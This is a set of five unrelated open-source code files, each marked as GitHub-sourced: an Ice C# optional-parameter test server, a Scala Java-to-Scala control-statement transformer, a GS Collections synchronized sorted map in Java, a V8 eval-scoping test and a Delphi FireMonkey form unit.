// // Copyright (c) ZeroC, Inc. All rights reserved. // using System; using System.Collections.Generic; namespace Ice { namespace optional { public class InitialI : Test.InitialDisp_ { public override void shutdown(Ice.Current current) { current.adapter.getCommunicator().shutdown(); } public override Ice.Value pingPong(Ice.Value obj, Ice.Current current) { return obj; } public override void opOptionalException(Ice.Optional<int> a, Ice.Optional<string> b, Ice.Optional<Test.OneOptional> o, Ice.Current current) { throw new Test.OptionalException(false, a, b, o); } public override void opDerivedException(Ice.Optional<int> a, Ice.Optional<string> b, Ice.Optional<Test.OneOptional> o, Ice.Current current) { throw new Test.DerivedException(false, a, b, o, b, o); } public override void opRequiredException(Ice.Optional<int> a, Ice.Optional<string> b, Ice.Optional<Test.OneOptional> o, Ice.Current current) { Test.RequiredException e = new Test.RequiredException(); e.a = a; e.b = b; e.o = o; if(b.HasValue) { e.ss = b.Value; } if(o.HasValue) { e.o2 = o.Value; } throw e; } public override Ice.Optional<byte> opByte(Ice.Optional<byte> p1, out Ice.Optional<byte> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<bool> opBool(Ice.Optional<bool> p1, out Ice.Optional<bool> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<short> opShort(Ice.Optional<short> p1, out Ice.Optional<short> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<int> opInt(Ice.Optional<int> p1, out Ice.Optional<int> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<long> opLong(Ice.Optional<long> p1, out Ice.Optional<long> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<float> opFloat(Ice.Optional<float> p1, out Ice.Optional<float> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<double> opDouble(Ice.Optional<double> p1, out Ice.Optional<double> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<string> opString(Ice.Optional<string> p1, out Ice.Optional<string> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<Test.MyEnum> opMyEnum(Ice.Optional<Test.MyEnum> p1, out Ice.Optional<Test.MyEnum> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<Test.SmallStruct> opSmallStruct(Ice.Optional<Test.SmallStruct> p1, out Ice.Optional<Test.SmallStruct> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<Test.FixedStruct> opFixedStruct(Ice.Optional<Test.FixedStruct> p1, out Ice.Optional<Test.FixedStruct> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<Test.VarStruct> opVarStruct(Ice.Optional<Test.VarStruct> p1, out Ice.Optional<Test.VarStruct> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<Test.OneOptional> opOneOptional(Ice.Optional<Test.OneOptional> p1, out Ice.Optional<Test.OneOptional> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<Ice.ObjectPrx> opOneOptionalProxy(Ice.Optional<Ice.ObjectPrx> p1, out Ice.Optional<Ice.ObjectPrx> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<byte[]> opByteSeq(Ice.Optional<byte[]> p1, out Ice.Optional<byte[]> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<bool[]> opBoolSeq(Ice.Optional<bool[]> p1, out Ice.Optional<bool[]> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<short[]> opShortSeq(Ice.Optional<short[]> p1, out Ice.Optional<short[]> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<int[]> opIntSeq(Ice.Optional<int[]> p1, out Ice.Optional<int[]> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<long[]> opLongSeq(Ice.Optional<long[]> p1, out Ice.Optional<long[]> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<float[]> opFloatSeq(Ice.Optional<float[]> p1, out Ice.Optional<float[]> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<double[]> opDoubleSeq(Ice.Optional<double[]> p1, out Ice.Optional<double[]> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<String[]> opStringSeq(Ice.Optional<String[]> p1, out Ice.Optional<String[]> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<Test.SmallStruct[]> opSmallStructSeq(Ice.Optional<Test.SmallStruct[]> p1, out Ice.Optional<Test.SmallStruct[]> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<List<Test.SmallStruct>> opSmallStructList(Ice.Optional<List<Test.SmallStruct>> p1, out Ice.Optional<List<Test.SmallStruct>> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<Test.FixedStruct[]> opFixedStructSeq(Ice.Optional<Test.FixedStruct[]> p1, out Ice.Optional<Test.FixedStruct[]> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<LinkedList<Test.FixedStruct>> opFixedStructList(Ice.Optional<LinkedList<Test.FixedStruct>> p1, out Ice.Optional<LinkedList<Test.FixedStruct>> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<Test.VarStruct[]> opVarStructSeq(Ice.Optional<Test.VarStruct[]> p1, out Ice.Optional<Test.VarStruct[]> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<Test.SerializableClass> opSerializable(Ice.Optional<Test.SerializableClass> p1, out Ice.Optional<Test.SerializableClass> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<Dictionary<int, int>> opIntIntDict(Ice.Optional<Dictionary<int, int>> p1, out Ice.Optional<Dictionary<int, int>> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<Dictionary<string, int>> opStringIntDict(Ice.Optional<Dictionary<string, int>> p1, out Ice.Optional<Dictionary<string, int>> p3, Ice.Current current) { p3 = p1; return p1; } public override Ice.Optional<Dictionary<int, Test.OneOptional>> opIntOneOptionalDict(Ice.Optional<Dictionary<int, Test.OneOptional>> p1, out Ice.Optional<Dictionary<int, Test.OneOptional>> p3, Ice.Current current) { p3 = p1; return p1; } public override void opClassAndUnknownOptional(Test.A p, Ice.Current current) { } public override void sendOptionalClass(bool req, Ice.Optional<Test.OneOptional> o, Ice.Current current) { } public override void returnOptionalClass(bool req, out Ice.Optional<Test.OneOptional> o, Ice.Current current) { o = new Test.OneOptional(53); } public override Test.G opG(Test.G g, Ice.Current current) { return g; } public override void opVoid(Ice.Current current) { } public override Test.Initial_OpMStruct1MarshaledResult opMStruct1(Ice.Current current) { return new Test.Initial_OpMStruct1MarshaledResult(new Test.SmallStruct(), current); } public override Test.Initial_OpMStruct2MarshaledResult opMStruct2(Ice.Optional<Test.SmallStruct> p1, Ice.Current current) { return new Test.Initial_OpMStruct2MarshaledResult(p1, p1, current); } public override Test.Initial_OpMSeq1MarshaledResult opMSeq1(Ice.Current current) { return new Test.Initial_OpMSeq1MarshaledResult(new string[0], current); } public override Test.Initial_OpMSeq2MarshaledResult opMSeq2(Ice.Optional<string[]> p1, Ice.Current current) { return new Test.Initial_OpMSeq2MarshaledResult(p1, p1, current); } public override Test.Initial_OpMDict1MarshaledResult opMDict1(Ice.Current current) { return new Test.Initial_OpMDict1MarshaledResult(new Dictionary<string, int>(), current); } public override Test.Initial_OpMDict2MarshaledResult opMDict2(Ice.Optional<Dictionary<string, int>> p1, Ice.Current current) { return new Test.Initial_OpMDict2MarshaledResult(p1, p1, current); } public override Test.Initial_OpMG1MarshaledResult opMG1(Ice.Current current) { return new Test.Initial_OpMG1MarshaledResult(new Test.G(), current); } public override Test.Initial_OpMG2MarshaledResult opMG2(Ice.Optional<Test.G> p1, Ice.Current current) { return new Test.Initial_OpMG2MarshaledResult(p1, p1, current); } public override bool supportsRequiredParams(Ice.Current current) { return false; } public override bool supportsJavaSerializable(Ice.Current current) { return false; } public override bool supportsCsharpSerializable(Ice.Current current) { return true; } public override bool supportsCppStringView(Ice.Current current) { return false; } public override bool supportsNullOptional(Ice.Current current) { return true; } } } }
{ "pile_set_name": "Github" }
/* * Copyright (C) 2011, Mysema Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.mysema.scalagen import japa.parser.ast.visitor._ import java.util.ArrayList import UnitTransformer._ import com.mysema.scalagen.ast.BeginClosureExpr object ControlStatements extends ControlStatements /** * ControlStatements transform ForStmt, SwitchEntryStmt and If statements */ class ControlStatements extends UnitTransformerBase { private val KEY = new Name("key") private val VALUE = new Name("value") private val toUnderscore = new ModifierVisitor[Set[String]] { override def visitName(n: String, arg: Set[String]): String = { if (arg.contains(n)) "_" else n } } private def numMatchingNames(n: Node, variableName: String): Int = { var matched = 0 val visitor = new ModifierVisitor[Null] { override def visitName(n: String, dummy: Null): String = { if (n == variableName) matched += 1 n } } n.accept(visitor, null) matched } private val toKeyAndValue = new ModifierVisitor[String] { override def visit(nn: MethodCall, arg: String): Node = { val n = super.visit(nn, arg).asInstanceOf[MethodCall] n match { case MethodCall(str(`arg`), "getKey", Nil) => KEY case MethodCall(str(`arg`), "getValue", Nil) => VALUE case _ => n } } } def transform(cu: CompilationUnit): CompilationUnit = { cu.accept(this, cu).asInstanceOf[CompilationUnit] } override def visit(nn: For, arg: CompilationUnit): Node = { // transform // for (int i = 0; i < x; i++) block // into // for (i <- 0 until x) block val n = super.visit(nn, arg).asInstanceOf[For] n match { case For((init: VariableDeclaration) :: Nil, l lt r, incr(_) :: Nil, _) => { val until = new MethodCall(init.getVars.get(0).getInit, "until", r :: Nil) init.getVars.get(0).setInit(null) new Foreach(init, until, n.getBody) } case _ => n } } override def visit(nn: MethodCall, arg: CompilationUnit): Node = { // transform // System.out.println // into // println val n = super.visit(nn, arg).asInstanceOf[MethodCall] n match { case MethodCall(str("System.out"), "println", args) => { new MethodCall(null, "println", args) } case _ => n } } override def visit(nn: Foreach, arg: CompilationUnit): Node = { val n = super.visit(nn, arg).asInstanceOf[Foreach] n match { case Foreach( VariableDeclaration(t, v :: Nil), MethodCall(scope, "entrySet", Nil), body) => { val vid = v.getId.toString new Foreach( VariableDeclaration(0, "(key, value)", Type.Object), scope, n.getBody.accept(toKeyAndValue, vid).asInstanceOf[Statement]) } case _ => n } } // TODO : maybe move this to own class override def visit(nn: Block, arg: CompilationUnit): Node = { // simplify // for (format <- values if format.mimetype == contentType) return format // defaultFormat // into // values.find(_.mimetype == contenType).getOrElse(defaultFormat) val n = super.visit(nn, arg).asInstanceOf[Block] n match { case Block( Foreach(v, it, If(cond, Return(rv1), null)) :: Return(rv2) :: Nil) => createFindCall(it, v, cond, rv1, rv2) case _ => n } } private def createClosure(vid: String, expr: Expression): List[Expression] = numMatchingNames(expr, vid) match { case 0 => List(new BeginClosureExpr("_"), expr) case 1 => List(expr.accept(toUnderscore, Set(vid)).asInstanceOf[Expression]) case _ => List(new BeginClosureExpr(vid), expr) } private def createFindCall(it: Expression, v: VariableDeclaration, cond: Expression, rv1: Expression, rv2: Expression): Statement = { val vid = v.getVars.get(0).getId.toString val newCond = createClosure(vid, cond) val newIt = it match { case MethodCall(_, "until", _ :: Nil) => new Enclosed(it) case _ => it } val findCall = new MethodCall(newIt, "find", newCond) val expr = if (vid == rv1.toString) findCall else new MethodCall(findCall, "map", createClosure(vid, rv1)) val getOrElse = new MethodCall(expr, "getOrElse", rv2 :: Nil) new Block(new ExpressionStmt(getOrElse) :: Nil) } override def visit(nn: If, arg: CompilationUnit): Node = { // transform // if (condition) target = x else target = y // into // target = if (condition) e else y val n = super.visit(nn, arg).asInstanceOf[If] n match { case If(cond, Stmt(t1 set v1), Stmt(t2 set v2)) if t1 == t2 => { new ExpressionStmt(new Assign(t1, new Conditional(n.getCondition, v1, v2), Assign.assign)) } case _ => n } } override def visit(nn: SwitchEntry, arg: CompilationUnit) = { // remove break val n = super.visit(nn, arg).asInstanceOf[SwitchEntry] val size = if (n.getStmts == null) 0 else n.getStmts.size if (size > 1 && n.getStmts.get(size-1).isInstanceOf[Break]) { //n.getStmts.remove(size-1) n.setStmts(n.getStmts.dropRight(1)) } n } }
{ "pile_set_name": "Github" }
/* * Copyright 2015 Goldman Sachs. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.gs.collections.impl.map.sorted.mutable; import java.io.Serializable; import java.util.Comparator; import java.util.SortedMap; import com.gs.collections.api.LazyIterable; import com.gs.collections.api.RichIterable; import com.gs.collections.api.block.function.Function; import com.gs.collections.api.block.function.Function0; import com.gs.collections.api.block.function.Function2; import com.gs.collections.api.block.function.primitive.BooleanFunction; import com.gs.collections.api.block.function.primitive.ByteFunction; import com.gs.collections.api.block.function.primitive.CharFunction; import com.gs.collections.api.block.function.primitive.DoubleFunction; import com.gs.collections.api.block.function.primitive.FloatFunction; import com.gs.collections.api.block.function.primitive.IntFunction; import com.gs.collections.api.block.function.primitive.LongFunction; import com.gs.collections.api.block.function.primitive.ShortFunction; import com.gs.collections.api.block.predicate.Predicate; import com.gs.collections.api.block.predicate.Predicate2; import com.gs.collections.api.block.procedure.Procedure; import com.gs.collections.api.block.procedure.Procedure2; import com.gs.collections.api.block.procedure.primitive.ObjectIntProcedure; import com.gs.collections.api.collection.MutableCollection; import com.gs.collections.api.list.MutableList; import com.gs.collections.api.list.primitive.MutableBooleanList; import com.gs.collections.api.list.primitive.MutableByteList; import com.gs.collections.api.list.primitive.MutableCharList; import com.gs.collections.api.list.primitive.MutableDoubleList; import com.gs.collections.api.list.primitive.MutableFloatList; import com.gs.collections.api.list.primitive.MutableIntList; import com.gs.collections.api.list.primitive.MutableLongList; import com.gs.collections.api.list.primitive.MutableShortList; import com.gs.collections.api.map.MutableMap; import com.gs.collections.api.map.MutableMapIterable; import com.gs.collections.api.map.sorted.ImmutableSortedMap; import com.gs.collections.api.map.sorted.MutableSortedMap; import com.gs.collections.api.multimap.list.MutableListMultimap; import com.gs.collections.api.multimap.sortedset.MutableSortedSetMultimap; import com.gs.collections.api.ordered.OrderedIterable; import com.gs.collections.api.partition.list.PartitionMutableList; import com.gs.collections.api.set.MutableSet; import com.gs.collections.api.stack.MutableStack; import com.gs.collections.api.tuple.Pair; import com.gs.collections.impl.collection.mutable.SynchronizedMutableCollection; import com.gs.collections.impl.factory.SortedMaps; import com.gs.collections.impl.list.fixed.ArrayAdapter; import com.gs.collections.impl.map.AbstractSynchronizedMapIterable; import com.gs.collections.impl.map.mutable.SynchronizedMapSerializationProxy; import com.gs.collections.impl.set.mutable.SynchronizedMutableSet; import com.gs.collections.impl.utility.LazyIterate; /** * A synchronized view of a SortedMap. * * @see #SynchronizedSortedMap(MutableSortedMap) */ public class SynchronizedSortedMap<K, V> extends AbstractSynchronizedMapIterable<K, V> implements MutableSortedMap<K, V>, Serializable { private static final long serialVersionUID = 2L; public SynchronizedSortedMap(MutableSortedMap<K, V> newMap) { super(newMap); } public SynchronizedSortedMap(MutableSortedMap<K, V> newMap, Object lock) { super(newMap, lock); } /** * This method will take a MutableSortedMap and wrap it directly in a SynchronizedSortedMap. It will * take any other non-GS-SortedMap and first adapt it will a SortedMapAdapter, and then return a * SynchronizedSortedMap that wraps the adapter. */ public static <K, V, M extends SortedMap<K, V>> SynchronizedSortedMap<K, V> of(M map) { return new SynchronizedSortedMap<K, V>(SortedMapAdapter.adapt(map)); } public static <K, V, M extends SortedMap<K, V>> SynchronizedSortedMap<K, V> of(M map, Object lock) { return new SynchronizedSortedMap<K, V>(SortedMapAdapter.adapt(map), lock); } @Override protected MutableSortedMap<K, V> getDelegate() { return (MutableSortedMap<K, V>) super.getDelegate(); } public Comparator<? super K> comparator() { synchronized (this.lock) { return this.getDelegate().comparator(); } } public MutableSortedMap<K, V> withKeyValue(K key, V value) { synchronized (this.lock) { this.put(key, value); return this; } } /** * @deprecated in 6.0 Use {@link #withAllKeyValueArguments(Pair[])} instead. Inlineable. */ @Deprecated public MutableSortedMap<K, V> with(Pair<K, V>... pairs) { return this.withAllKeyValueArguments(pairs); } public MutableSortedMap<K, V> withAllKeyValueArguments(Pair<? extends K, ? extends V>... keyValuePairs) { return this.withAllKeyValues(ArrayAdapter.adapt(keyValuePairs)); } public MutableSortedMap<K, V> withAllKeyValues(Iterable<? extends Pair<? extends K, ? extends V>> keyValues) { synchronized (this.lock) { for (Pair<? extends K, ? extends V> keyValue : keyValues) { this.getDelegate().put(keyValue.getOne(), keyValue.getTwo()); } return this; } } public MutableSortedMap<K, V> withoutKey(K key) { this.remove(key); return this; } public MutableSortedMap<K, V> withoutAllKeys(Iterable<? extends K> keys) { synchronized (this.lock) { for (K key : keys) { this.getDelegate().removeKey(key); } return this; } } public MutableSortedMap<K, V> newEmpty() { synchronized (this.lock) { return this.getDelegate().newEmpty(); } } @Override public MutableSortedMap<K, V> clone() { synchronized (this.lock) { return SynchronizedSortedMap.of(this.getDelegate().clone()); } } protected Object writeReplace() { return new SynchronizedMapSerializationProxy<K, V>(this.getDelegate()); } public <E> MutableSortedMap<K, V> collectKeysAndValues( Iterable<E> iterable, Function<? super E, ? extends K> keyFunction, Function<? super E, ? extends V> function) { synchronized (this.lock) { return this.getDelegate().collectKeysAndValues(iterable, keyFunction, function); } } public K firstKey() { synchronized (this.getLock()) { return this.getDelegate().firstKey(); } } public K lastKey() { synchronized (this.getLock()) { return this.getDelegate().lastKey(); } } public MutableSortedMap<K, V> tap(Procedure<? super V> procedure) { synchronized (this.lock) { this.forEach(procedure); return this; } } public MutableList<V> select(Predicate<? super V> predicate) { synchronized (this.lock) { return this.getDelegate().select(predicate); } } public <P> MutableList<V> selectWith(Predicate2<? super V, ? super P> predicate, P parameter) { synchronized (this.lock) { return this.getDelegate().selectWith(predicate, parameter); } } public MutableList<V> reject(Predicate<? super V> predicate) { synchronized (this.lock) { return this.getDelegate().reject(predicate); } } public <P> MutableList<V> rejectWith(Predicate2<? super V, ? super P> predicate, P parameter) { synchronized (this.lock) { return this.getDelegate().rejectWith(predicate, parameter); } } public PartitionMutableList<V> partition(Predicate<? super V> predicate) { synchronized (this.lock) { return this.getDelegate().partition(predicate); } } public MutableList<Pair<V, Integer>> zipWithIndex() { synchronized (this.lock) { return this.getDelegate().zipWithIndex(); } } public <P> PartitionMutableList<V> partitionWith(Predicate2<? super V, ? super P> predicate, P parameter) { synchronized (this.lock) { return this.getDelegate().partitionWith(predicate, parameter); } } public <S> MutableList<S> selectInstancesOf(Class<S> clazz) { synchronized (this.lock) { return this.getDelegate().selectInstancesOf(clazz); } } public <R> MutableList<R> collect(Function<? super V, ? extends R> function) { synchronized (this.lock) { return this.getDelegate().collect(function); } } public MutableBooleanList collectBoolean(BooleanFunction<? super V> booleanFunction) { synchronized (this.lock) { return this.getDelegate().collectBoolean(booleanFunction); } } public MutableByteList collectByte(ByteFunction<? super V> byteFunction) { synchronized (this.lock) { return this.getDelegate().collectByte(byteFunction); } } public MutableCharList collectChar(CharFunction<? super V> charFunction) { synchronized (this.lock) { return this.getDelegate().collectChar(charFunction); } } public MutableDoubleList collectDouble(DoubleFunction<? super V> doubleFunction) { synchronized (this.lock) { return this.getDelegate().collectDouble(doubleFunction); } } public MutableFloatList collectFloat(FloatFunction<? super V> floatFunction) { synchronized (this.lock) { return this.getDelegate().collectFloat(floatFunction); } } public MutableIntList collectInt(IntFunction<? super V> intFunction) { synchronized (this.lock) { return this.getDelegate().collectInt(intFunction); } } public MutableLongList collectLong(LongFunction<? super V> longFunction) { synchronized (this.lock) { return this.getDelegate().collectLong(longFunction); } } public MutableShortList collectShort(ShortFunction<? super V> shortFunction) { synchronized (this.lock) { return this.getDelegate().collectShort(shortFunction); } } public <P, VV> MutableList<VV> collectWith(Function2<? super V, ? super P, ? extends VV> function, P parameter) { synchronized (this.lock) { return this.getDelegate().collectWith(function, parameter); } } public <R> MutableList<R> collectIf( Predicate<? super V> predicate, Function<? super V, ? extends R> function) { synchronized (this.lock) { return this.getDelegate().collectIf(predicate, function); } } public <R> MutableList<R> flatCollect(Function<? super V, ? extends Iterable<R>> function) { synchronized (this.lock) { return this.getDelegate().flatCollect(function); } } @Override public String makeString() { synchronized (this.lock) { return this.getDelegate().makeString(); } } @Override public String makeString(String separator) { synchronized (this.lock) { return this.getDelegate().makeString(separator); } } @Override public String makeString(String start, String separator, String end) { synchronized (this.lock) { return this.getDelegate().makeString(start, separator, end); } } public <KK> MutableListMultimap<KK, V> groupBy(Function<? super V, ? extends KK> function) { synchronized (this.lock) { return this.getDelegate().groupBy(function); } } public <KK> MutableListMultimap<KK, V> groupByEach(Function<? super V, ? extends Iterable<KK>> function) { synchronized (this.lock) { return this.getDelegate().groupByEach(function); } } public <S> MutableList<Pair<V, S>> zip(Iterable<S> that) { synchronized (this.lock) { return this.getDelegate().zip(that); } } public <K2, V2> MutableMap<K2, V2> aggregateInPlaceBy( Function<? super V, ? extends K2> groupBy, Function0<? extends V2> zeroValueFactory, Procedure2<? super V2, ? super V> mutatingAggregator) { synchronized (this.getLock()) { return this.getDelegate().aggregateInPlaceBy(groupBy, zeroValueFactory, mutatingAggregator); } } public <K2, V2> MutableMap<K2, V2> aggregateBy( Function<? super V, ? extends K2> groupBy, Function0<? extends V2> zeroValueFactory, Function2<? super V2, ? super V, ? extends V2> nonMutatingAggregator) { synchronized (this.getLock()) { return this.getDelegate().aggregateBy(groupBy, zeroValueFactory, nonMutatingAggregator); } } public MutableMapIterable<V, K> flipUniqueValues() { synchronized (this.lock) { return this.getDelegate().flipUniqueValues(); } } public MutableSortedSetMultimap<V, K> flip() { synchronized (this.lock) { return this.getDelegate().flip(); } } public MutableSortedMap<K, V> select(Predicate2<? super K, ? super V> predicate) { synchronized (this.lock) { return this.getDelegate().select(predicate); } } public MutableSortedMap<K, V> reject(Predicate2<? super K, ? super V> predicate) { synchronized (this.lock) { return this.getDelegate().reject(predicate); } } public <K2, V2> MutableMap<K2, V2> collect(Function2<? super K, ? super V, Pair<K2, V2>> function) { synchronized (this.lock) { return this.getDelegate().collect(function); } } public <R> MutableSortedMap<K, R> collectValues(Function2<? super K, ? super V, ? extends R> function) { synchronized (this.lock) { return this.getDelegate().collectValues(function); } } public RichIterable<K> keysView() { return LazyIterate.adapt(this.keySet()); } public RichIterable<V> valuesView() { return LazyIterate.adapt(this.values()); } public MutableSortedMap<K, V> asUnmodifiable() { synchronized (this.lock) { return UnmodifiableTreeMap.of(this); } } public MutableSortedMap<K, V> asSynchronized() { return this; } public ImmutableSortedMap<K, V> toImmutable() { synchronized (this.lock) { return SortedMaps.immutable.withSortedMap(this); } } public MutableSet<K> keySet() { synchronized (this.lock) { return SynchronizedMutableSet.of(this.getDelegate().keySet(), this.lock); } } public MutableCollection<V> values() { synchronized (this.lock) { return SynchronizedMutableCollection.of(this.getDelegate().values(), this.lock); } } public MutableSet<Entry<K, V>> entrySet() { synchronized (this.lock) { return SynchronizedMutableSet.of(this.getDelegate().entrySet(), this.lock); } } public MutableSortedMap<K, V> headMap(K toKey) { synchronized (this.lock) { return SynchronizedSortedMap.of(this.getDelegate().headMap(toKey), this.lock); } } public MutableSortedMap<K, V> tailMap(K fromKey) { synchronized (this.lock) { return SynchronizedSortedMap.of(this.getDelegate().tailMap(fromKey), this.lock); } } public MutableSortedMap<K, V> subMap(K fromKey, K toKey) { synchronized (this.lock) { return SynchronizedSortedMap.of(this.getDelegate().subMap(fromKey, toKey), this.lock); } } public void reverseForEach(Procedure<? super V> procedure) { synchronized (this.lock) { this.getDelegate().reverseForEach(procedure); } } public LazyIterable<V> asReversed() { throw new UnsupportedOperationException(this.getClass().getSimpleName() + ".asReversed() not implemented yet"); } public int detectLastIndex(Predicate<? super V> predicate) { synchronized (this.lock) { return this.getDelegate().detectLastIndex(predicate); } } public int indexOf(Object object) { synchronized (this.lock) { return this.getDelegate().indexOf(object); } } public <S> boolean corresponds(OrderedIterable<S> other, Predicate2<? super V, ? super S> predicate) { synchronized (this.lock) { return this.getDelegate().corresponds(other, predicate); } } public void forEach(int startIndex, int endIndex, Procedure<? super V> procedure) { synchronized (this.lock) { this.getDelegate().forEach(startIndex, endIndex, procedure); } } public void forEachWithIndex(int fromIndex, int toIndex, ObjectIntProcedure<? super V> objectIntProcedure) { synchronized (this.lock) { this.getDelegate().forEachWithIndex(fromIndex, toIndex, objectIntProcedure); } } public MutableStack<V> toStack() { synchronized (this.lock) { return this.getDelegate().toStack(); } } public int detectIndex(Predicate<? super V> predicate) { synchronized (this.lock) { return this.getDelegate().detectIndex(predicate); } } public MutableSortedMap<K, V> toReversed() { synchronized (this.lock) { return this.getDelegate().toReversed(); } } public MutableSortedMap<K, V> take(int count) { synchronized (this.lock) { return this.getDelegate().take(count); } } public MutableSortedMap<K, V> takeWhile(Predicate<? super V> predicate) { synchronized (this.lock) { return this.getDelegate().takeWhile(predicate); } } public MutableSortedMap<K, V> drop(int count) { synchronized (this.lock) { return this.getDelegate().drop(count); } } public MutableSortedMap<K, V> dropWhile(Predicate<? super V> predicate) { synchronized (this.lock) { return this.getDelegate().dropWhile(predicate); } } public PartitionMutableList<V> partitionWhile(Predicate<? super V> predicate) { synchronized (this.lock) { return this.getDelegate().partitionWhile(predicate); } } public MutableList<V> distinct() { synchronized (this.lock) { return this.getDelegate().distinct(); } } }
{ "pile_set_name": "Github" }
// Copyright 2010 the V8 project authors. All rights reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided // with the distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // Tests loading of aguments across eval calls. // Test loading across an eval call that does not shadow variables. function testNoShadowing(x, h) { function f() { eval('1'); assertEquals(1, x); assertEquals(2, h()); function g() { assertEquals(1, x); assertEquals(2, h()); } g(); } f(); } testNoShadowing(1, function() { return 2; }); // Test loading across eval calls that do not shadow variables. function testNoShadowing2(x, h) { eval('1'); function f() { eval('1'); assertEquals(1, x); assertEquals(2, h()); function g() { assertEquals(1, x); assertEquals(2, h()); } g(); } f(); } testNoShadowing2(1, function() { return 2; }); // Test loading across an eval call that shadows variables. function testShadowing(x, h) { function f() { assertEquals(1, x); assertEquals(2, h()); eval('var x = 3; var h = function() { return 4; };'); assertEquals(3, x); assertEquals(4, h()); function g() { assertEquals(3, x); assertEquals(4, h()); } g(); } f(); assertEquals(1, x); assertEquals(2, h()); } testShadowing(1, function() { return 2; });
{ "pile_set_name": "Github" }
//--------------------------------------------------------------------------- // This software is Copyright (c) 2012 Embarcadero Technologies, Inc. // You may only use this software if you are an authorized licensee // of Delphi, C++Builder or RAD Studio (Embarcadero Products). // This software is considered a Redistributable as defined under // the software license agreement that comes with the Embarcadero Products // and is subject to that software license agreement. //--------------------------------------------------------------------------- unit UActiveForm; interface uses System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants, FMX.Types, FMX.Controls, FMX.Forms, FMX.Dialogs, FMX.Layouts, FMX.Edit, FMX.StdCtrls; type TActiveForm = class(TForm) Timer1: TTimer; Label1: TLabel; Label2: TLabel; Label3: TLabel; Label4: TLabel; Edit1: TEdit; Edit2: TEdit; Edit3: TEdit; Edit4: TEdit; Layout1: TLayout; SpeedButton1: TSpeedButton; procedure SpeedButton1Click(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); private { Private declarations } public { Public declarations } end; implementation {$R *.fmx} procedure TActiveForm.FormClose(Sender: TObject; var Action: TCloseAction); begin Action := TCloseAction.caFree; end; procedure TActiveForm.SpeedButton1Click(Sender: TObject); begin Close; end; procedure TActiveForm.Timer1Timer(Sender: TObject); begin if Screen.ActiveForm <> nil then begin Edit1.Text := Screen.ActiveForm.Name; Edit2.Text := Screen.ActiveForm.Caption; end else begin Edit1.Text := '<nil>'; Edit2.Text := '<nil>'; end; if Screen.FocusControl <> nil then begin Edit3.Text := Screen.FocusControl.GetObject.Name; Edit4.Text := Screen.FocusControl.GetObject.ClassName; end else begin Edit3.Text := '<nil>'; Edit4.Text := '<nil>'; end; end; end.
{ "pile_set_name": "Github" }
